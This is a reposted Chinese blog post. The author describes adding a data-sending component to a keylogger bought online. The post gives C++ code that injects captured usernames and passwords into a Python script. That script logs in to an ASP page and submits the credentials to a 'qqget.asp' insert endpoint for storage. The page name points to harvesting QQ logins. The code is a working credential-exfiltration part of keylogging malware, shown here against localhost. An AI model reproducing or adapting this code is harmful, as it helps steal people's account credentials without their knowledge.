PythonC++

帮同学弄个信息安全的东西,关于键盘记录,然后发布到Asp网页上,有意思呵呵,TaoBao上的卖主不错,用MFC和Asp来写的,有时间,把代码再好好看看,然后用他的技术写个别的东西。

先说我实现的办法吧,键盘记录他已经搞好了,我就负责把一段文本(用户名和密码)发送到网页上去,这段时间搞Python,所以对网页抓取,自动提交什么的稍微熟悉等,所以想用Python,通过Asp网页的Get方法,将数据提交上去,然后存在Access中,但是客户端(监听端)被限制只能用C++来写,所以就想办法混编C++和Python,用C++来调用Python,网上关于C++和Python混编还是蛮多的,一般还是用Python调用C++,一个写起来方便,一个效率高,这个叫扩展,反过来交嵌入。关于C++调用Python,可以参考,两者都讲的可以参考。但是环境配置的时候,遇到问题,链接错误什么的,不太清楚是什么原因,怀疑是C++和Python的版本匹配问题,后来改成Release编译就可以了,搞不懂,并且,不少函数还不能用的,悲剧。最后呢,回到了最原始的状态,就是在C++下,直接调用Python的代码运行~

给定两个参数,一个用户名,一个密码,然后将实现写好的Py代码中的相应位置,替换掉这两个值,然后运行,也就完成了将相应用户名和密码插入到服务器端的过程了。还一个问题就是Python方面,如果自动登录,用的是Post的方式,然后发现如果单用urllib2进行登录的话,会不成功,因为这里用到了session,某个网页的登录没问题,但是一旦跳转到另一个网页就会出现问题,session的值就为空了,所以要设置cookie,感觉cookie的概念比session要大,关于自动访问网页,可以看看。

C++端的代码如下:

#include <iostream>
#include <Python.h>
#include <string>
using namespace std;

char ch[10000];

int main(int argc, char *argv[])
{
if(argc != 3)
{
cout << "argument is error!" << endl;
return 0;
}

string userName = argv[1];
string passWord = argv[2];

Py_Initialize();

PyObject * pModule = NULL;
PyObject * pFunc   = NULL;

freopen("d:\desktop\test.py", "r", stdin);

int cnt = 0;
while(scanf("%c", &ch[cnt]) != EOF)  cnt++;

string m = ch;
for(int i = 0; i < m.length(); i++)
{
if(m.substr(i, 3) == "lit")
{
m.replace(i, 3, userName);
i += userName.length() - 1;
}
else if(m.substr(i, 3) == "acm")
{
m.replace(i, 3, passWord);
i += passWord.length() - 1;
}
}

PyRun_SimpleString(m.c_str());        /* 运行字符串 */

Py_Finalize();
}

Python端的代码如下:

#!/usr/bin/env python
#coding=utf-8

import urllib, urllib2, cookielib

cj = cookielib.LWPCookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

params = {'txtUser':'admin','txtPass':'admin'}

#print params

url_login = 'http://localhost/icheck.asp'

req = urllib2.Request(url_login,urllib.urlencode(params))

operate = opener.open(req)

#info = operate.read()
#url_r =  operate.geturl()

url_insert = 'http://localhost/qqget.asp?Action=Insert&userName=lit&passWord=acm'
urllib2.urlopen(url_insert)

print "insert ok"

试验成功的截图:

PythonC
原文链接: https://www.cnblogs.com/litstrong/archive/2011/05/29/2062315.html

欢迎关注

微信关注下方公众号,第一时间获取干货硬货;公众号内回复【pdf】免费获取数百本计算机经典书籍

原创文章受到原创版权保护。转载请注明出处:https://www.ccppcoding.com/archives/26384

非原创文章文中已经注明原地址,如有侵权,联系删除

关注公众号【高性能架构探索】,第一时间获取最新文章

转载文章受原作者版权保护。转载请注明原作者出处!

(0)
上一篇 2023年2月8日 上午4:03
下一篇 2023年2月8日 上午4:03

相关推荐